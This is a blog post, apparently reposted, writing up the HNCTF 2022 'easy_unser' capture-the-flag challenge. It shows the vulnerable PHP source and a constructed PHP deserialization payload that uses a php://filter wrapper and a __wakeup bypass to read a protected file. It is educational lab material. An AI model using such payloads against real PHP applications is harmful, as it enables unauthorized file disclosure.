首页 > 其他分享 >[HNCTF 2022 WEEK2]

[HNCTF 2022 WEEK2]

时间:2023-05-05 22:14:40浏览次数:35  
标签:me function php want HNCTF echo f14g 2022 WEEK2

easy_unser

 <?php 
    include 'f14g.php';
    error_reporting(0);

    highlight_file(__FILE__);

    class body{

    private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";

    public function  __construct($want){
        $About_me = "When the object is created,I will be called";
        if($want !== " ") $this->want = $want;
        else $this->want = $this->todonothing;
    }
    function __wakeup(){
        $About_me = "When the object is unserialized,I will be called";
        $but = "I can CHANGE you";
        $this-> want = $but;
        echo "C1ybaby!";
        
    }
    function __destruct(){
        $About_me = "I'm the final function,when the object is destroyed,I will be called";
        echo "So,let me see if you can get what you want\n";
        if($this->todonothing === $this->want)
            die("鲍勃,别傻愣着!\n");
        if($this->want == "I can CHANGE you")
            die("You are not you....");
        if($this->want == "f14g.php" OR is_file($this->want)){
            die("You want my heart?No way!\n");
        }else{
            echo "You got it!";
            highlight_file($this->want);
            }
    }
}

    class unserializeorder{
        public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>";
        function __sleep(){
            $About_me = "When the object is serialized,I will be called";
            echo "We Come To HNCTF,Enjoy the ser14l1zti0n <BR>";
        }
        function __toString(){
            $About_me = "When the object is used as a string,I will be called";
            return $this->CORE;
        }
    }
    
    $obj = new unserializeorder();
    echo $obj;
    $obj = serialize($obj);
    

    if (isset($_GET['ywant']))
    {
        $ywant = @unserialize(@$_GET['ywant']);
        echo $ywant;
    }
?>
人类最大的敌人,就是无序. Yahi param vaastavikta hai!
We Come To HNCTF,Enjoy the ser14l1zti0n 

首先看代码可知,flag在f14g.php中,所以我们只要找到能够利用的点就可以了。

往上看可以看到body类中highlight_file()可以进行利用,所以说我们需要让want为我们想要的f14g.php就可以了。

 function __destruct(){
        $About_me = "I'm the final function,when the object is destroyed,I will be called";
        echo "So,let me see if you can get what you want\n";
        if($this->todonothing === $this->want)
            die("鲍勃,别傻愣着!\n");
        if($this->want == "I can CHANGE you")
            die("You are not you....");
        if($this->want == "f14g.php" OR is_file($this->want)){
            die("You want my heart?No way!\n");
        }else{
            echo "You got it!";
            highlight_file($this->want);
            }
    } 

但是这边过滤的有点严,若是want=f14g.php,或者说是is_file()中的文件存在的话就会返回"So,let me see if you can get what you want\n";

所以我们不能直接让want=f14g.php,这里可以用php://filter伪协议来回显f14g.php文件。

构造如下:

<?php 

    class body{
    private $want="php://filter/resource=f14g.php";
   
}

    class unserializeorder{
        public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>";
    }
$a=new body();

echo urlencode(serialize($a));
?>

payload:?ywant=O%3A4%3A"body"%3A2%3A{s%3A10%3A"%00body%00want"%3Bs%3A30%3A"php%3A%2F%2Ffilter%2Fresource%3Df14g.php"%3B}

这里注意还需要绕过__wakeup魔术方法,所以%3A %3A中间原本为1,现在为2。

 

标签:me,function,php,want,HNCTF,echo,f14g,2022,WEEK2
From: https://www.cnblogs.com/kode00/p/17375506.html

相关文章

  • 《渗透测试》WEB攻防-通用漏洞&文件上传&js验证&mime&user.ini&语言特性 2022 Day31
     1、文件上传-前端验证2、文件上传-黑白名单3、文件上传-user.ini妙用4、文件上传-PHP语言特性 前置:后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门#详细点:1、检测层面:前......
  • IntelliJ IDEA 2022.3.2 最新专业版 Windows系统下安装, 一直可用,业界公认的最好的jav
    ​第三步: IDEA安装补丁1、补丁下载地址: 下载链接2、补丁安装流程下载并安装IDEA后,先不启动IDEA下载补丁程序并解压并放置任意目录执行脚本install-current-user.vbs​ 双击执行install-current-user.vbs脚本,等待过程大概10-30秒,如看到弹框提示Done......
  • Exp6 MSF应用基础 20202211王宏韬
    目录1基础问题回答2实验总结与体会3离实践缺少什么4实践过程记录主动攻击实践针对浏览器攻击针对adobe客户端攻击应用辅助模块tcp端口扫描   1基础问题回答 exploit:利用发现的安全漏洞或配置弱点对靶机进行攻击,将payload发送给靶机。payload:植入靶机......
  • 青岛市程序设计竞赛冲刺⑦(2022市北区程序设计竞赛小学组试题)
    1.2的N次方原题: 解题思路:送分题,找规律,不妨看出,有2,4,8,6的规律,直接运算即可AC代码:#include<bits/stdc++.h>#definelllonglongusingnamespacestd;intx;//0<x<1000000000²»ÓÃÌØÅÐ0µÄÇé¿öintmain(){ freopen("count.in","r",stdin); freopen("......
  • Adobe Acrobat Pro DC 2022 专业PDF编辑软件win/mac
    AcrobatProDC2022是Adobe公司推出的一款PDF编辑和管理软件,是Acrobat系列产品的最新版本。该软件提供了一系列功能,包括创建、编辑、转换、签名和共享PDF文件等。以下是AcrobatProDC2022的主要特点:PDF编辑:可以编辑PDF文件中的文字、图像、表格等内容,还可以添加注......
  • The 2022 ICPC Asia Hangzhou Regional Programming Contest--M题 (字典树)
    https://codeforces.com/gym/104090/problem/K题意:给你n个字符串,在给你m个字符大小顺序规则。求逆序对数量。1.常规求这n个字符串的逆序对数量O(n^2)的时间复杂度,必爆,肯定要想办法优化,就往预处理上想。2.在不同规则下,比较这n个字符串谁大,两个字符串比较谁大,无论什么字符串大,......
  • 2022CVPR_SNR-Aware Low-light Image Enhancement(SNR)
    一.motivation二.contribution三.Network 1.对于低光照的图片首先采用公式2获得SNRMap (1)Ig:是低光图片:是经过cv.blur进行均值滤波后的图像 (2)对Ig和Ig'取得灰度图进行绝对值相减得到噪声N (3)SNR(mask):均值滤波后的图像与噪声相除得到S2.先进行浅层特征提取 3.......
  • Mac视频编辑的最佳理想工具—After Effects 2022
    AfterEffects是Adobe用于构建和处理视频和图像的主要工具。它包含从原始和后期视频处理到专业编辑的所有处理功能。除了一些高级功能外,AfterEffects还包括专业视频编辑。由于AfterEffects可以以更大的分辨率和帧速率处理单个视频和图像以产生更多的不同格式。尽管AfterEf......
  • 2022 杭电多校 第十场 1001 Winner Prediction(最大流)
    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=7244杭电题解:先让1号选手赢下所有和他有关的比赛,设此时选手赢了a场比赛。如果存在某个ai>a1则1号选手不可能成为冠军。否则选手至多还能再赢bi=a1-ai场比赛。考虑建立一张网络流图:每场未进行的比赛在图中用一个点......
  • 2022CCPC Guilin Site E. Draw a triangle
    Drawatriangle题意:给定两点,求第三个整数点满足三点构成的非退化三角形面积最小分析:一开始看成了图论题,以为一直在卡精度(doge设\(A(x_1,y_1),B(x_2,y_2),C(x,y)\),则三角形面积由向量叉积求:\(2S=\vec{AB}×\vec{AC}\)\(\vec{AB}\)表示为\((x_2-x_1,y_2-y_......